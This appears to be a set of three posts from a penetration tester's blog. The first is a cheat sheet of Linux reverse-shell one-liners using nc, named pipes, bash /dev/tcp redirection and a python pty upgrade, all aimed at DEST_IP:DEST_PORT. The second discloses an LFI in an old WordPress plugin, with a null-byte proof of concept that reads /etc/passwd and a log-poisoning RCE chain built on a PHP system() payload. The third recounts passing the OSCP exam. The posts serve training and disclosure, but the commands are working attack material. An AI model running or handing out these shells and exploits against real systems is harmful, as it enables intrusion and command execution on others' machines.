Reverse shells even without nc on Linux

Often when I get remote command execution on a linux system for example I’ve planted my one line php script , the next step is getting a remote shell. Usually an nc listener would be used to receive the reverse shell, and I normally start it with the -v option so that it will show when a connection is received.

If nc or ncat is installed, it should be fairly simple to send the shell to my listener. Something like this should send a reverse shell to a nc listener, running on DEST_IP:DEST_PORT:

nc DEST_IP DEST_PORT -e /bin/bash

or I could set up a bind shell on the system then connect to it later using nc:

nc -lp 4444 -e /bin/bash

It should be noted that some versions of nc (e.g. BSD) don’t need the -p option if -l is specified (in fact it is not valid to use -p with -l on those versions), and some don’t have the -e option.

It may be even better to use the -c switch instead of -e if it is available because then you can pass more than an executable name to execute. This example forwards stderr as well as stdout from bash:

nc DEST_IP DEST_PORT -c "/bin/bash 2>&1"

If there is no -e option, there are ways around it. One example is to use two nc listeners connected to bash, one to send commands and one to receive output:

nc DEST_IP DEST_PORT | /bin/bash 2>&1 | nc DEST_IP DEST_PORT+1

This is not very elegant, but it does work. We can temporarily create a named pipe and use that to connect to a single nc listener:

mkfifo /tmp/pipe;cat /tmp/pipe|nc DEST_IP DEST_PORT|/bin/bash &>/tmp/pipe;rm /tmp/pipe

There might also be ncat available on the system, which can be used just like nc in the first 4 examples above, and ncat provides options like –ssl which can be used to encrypt traffic and even verify identity..

If no versions of netcat are installed, we can always try bash redirection. Check whether commands are running inside bash with:

$echo $0

or:

echo $SHELL

If commands are running in bash, then great, we can use bash’s tcp redirections like this:

bash &>/dev/tcp/DEST_IP/DEST_PORT <&1

This will execute bash, and forward stdout and stderr to DEST_IP:DEST_PORT and read stdin from the same. If I set up a nc listener on DEST_PORT:DEST_IP beforehand I should receive a shell.

If commands are running in something like sh, which doesn’t have tcp redirection, we can check whether bash is installed with:

which bash

an if it is, just execute the commands inside bash to get redirection:

bash -c "bash &>/dev/tcp/DEST_IP/DEST_PORT <&1"

When sending these commands in a query string (e.g to a backdoor php file), watch out for url escaping the commands. If you’re typing them into the address bar, most browsers will url escape the characters, but ampersand (“&”) often catches me out because it’s valid in a url as a query string delimiter, so it won’t be escaped for you.

If there are no versions of netcat or bash installed, then it might be time to start investigating other using other languages (e.g. perl/python) to send the shell over tcp which is outside the scope of this post.

Once you have a remote shell, executing interactive tools like sudo and passwd won’t work, but if python is installed, this one liner will make them work:

python -c "import pty;pty.spawn('/bin/bash')"

I’m sure it’s possible do similar things in other languages if python isn’t installed.

I discovered a vulnerability in a wordpress plugin

I was reviewing some code recently that had been written by someone that I knew and I found an LFI vulnerability using directory traversal. I explained it to them and they fixed it, but not quite well enough, so I showed them again how it could be exploited in a different way, and this time the fixed it properly. Hopefully they learnt a lesson on the way that they should always sanitise user input.

It was thrilling to discover an exploit like this myself so I decided to search public code repositories for obviously vulnerable lines of code. I found a wordpress plugin called simple fields that had a LFI vulnerability in due to unsanitised user input. It can even lead to RFI or RCE depending on how the web server is configured (e.g. allow_url_include is enabled or of apache logs can be poisoned and loaded). It actually looks like it was fixed in later versions because the lines containing the vulnerability were commented out, but old versions my still be installed on some sites.

I submitted the vulnerability to the exploit database and it has been published here.

I knew how the vulnerability should work, but I needed to verify it, so I had to set up an environment to test it. The vulnerability requires version 0.2 – 0.3.5 of simple fields and it must be hosted on a system running 5.3.3 or older php. It’s pretty hard to install 5.3.3 or older php these days. There won’t be a php package of that version in any default repositories. The easiest way I found of installing it was to install camp 1.7.2 on Linux (I used Ubuntu 16.0.4)

PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4

The vulnerable line of code in simple_fields.php is:

require( $_GET["wp_abspath"] . './wp-blog-header.php' );

Proof of concept LFI:

http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00

This works because the null byte terminates the string, so the trailing “./wp-blog-header.php” is ignored.

Proof of concept RCE:

$ echo "<?system(\$_GET['cmd'])?>"|nc host 80
$ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id"

This works because we first poison the apache logs with some php that will run whatever command was submitted as the value for “cmd” in the query string, and then we use the LFI to include the poisoned log and the command we want to run.

This vulnerability is admittedly not that likely to show up in the wild since it requires an old version of php, and an old version of a plugin that isn’t even supported any more, but it could be present on some old systems.

I passed OSCP!

Following on from my post a few months ago, I took the OSCP exam about a week ago and passed first time! It’s a great course, and the training materials cover most of what is required to pass the exam, but I found that I for some subjects I ended up turning to the web for more examples and to get a deeper understanding of some of the subjects.

My main challenges were:

Finding time to actually do the course

I initially signed up for 60 days of lab access on 16th July 2017 and used that time to go through the training materials and practice in the labs. About 14 of days of those were spent on holiday or away from home for some other reason. Also some days after work I was too mentally tired to do the course when I got home, and other days I felt that my wife deserved some of my time, so I really struggled to get a decent amount of time logged in the labs. I took a week off work to get more time devoted to the labs and then I was able to get the most of the course exercises completed, but I hadn’t pwned many lab systems by the time my 60 days were up. After practicing outside the labs (vulnhub and hackthebox), I bought another 30 days of lab time, starting 23rd December, because I had a few days off work around Christmas and the New year, and I also took a day or two off work near then end of January. This time I managed to finish the course exercises and hack into more than the 10 systems that are required to get the 5 bonus points for the exam but I didn’t feel I was ready for the exam so I did more practice outside the labs again.

Finding vulnerabilities:

I found it took me a long time to find a way into the vulnerable systems in the labs – longer than what a lot of people were saying it took them in the forums. That was frustrating, but the only real solution to that was to practice and that’s really what the labs are for. I also used vulnhub and hackthebox for practice.

Getting remote shells

Even when I had remote command execution on some systems, it took me ages to get a remote shell. Often the systems didn’t have nc installed, or even bash, and other times characters like “>” or “|” were stripped so I had to find very creative ways of getting remote shells.

Reporting

I didn’t take many screenshots while doing the course materials, just basic textual notes, and when it came to writing the report, I found that I had to work through all the exercises again to get all the info required to write them up and also re-pwn the machines that I had already pwned, and this wasted a lot of time. I should have written the report as I went through, or all least keep the report up to date with what I had done every week or so.

The Exam

I knew that an exam sitting is included in every purchase of lab time and I clearly wasn’t ready after the first 60 days of lab access expired, so I never booked that exam. After the 30 days of extra lab time I still didn’t feel ready but I decided I might as well book the exam, and if I failed I hadn’t lost anything and hopefully I would get an idea of what the exam would be like and what I needed to focus my practice time on. I think that mindset actually helped, since I wasn’t feeling very stressed in the buildup to the exam. I started out pretty slowly, and after about 14.5 hours with only 35 points out of the 70 required to pass the exam I went to bed, fairly sure I was going to fail. I woke up 5 hours later and went back to work, then suddenly started making progress. Those 35 remaining points were in sight, but now I was running out of time! These final few hours were pretty stressful since I was so close, but I felt it was just out of my grasp. After 23 hours and 15 minutes, with 30 minutes to spare, I got a root shell on the last machine that I needed, giving me (I think) 75 points. The whole of the day following the exam was spent writing up the report for the exam and polishing the lab report in case I needed those 5 extra bonus points. By the time I submitted the report, by brain was done. My wife suggested we get some food and a drink to celebrate ate a nearby pub, which I was happy to do, but I was not good company because I was so tired. I think she had a better conversation with the dog than with me, that evening.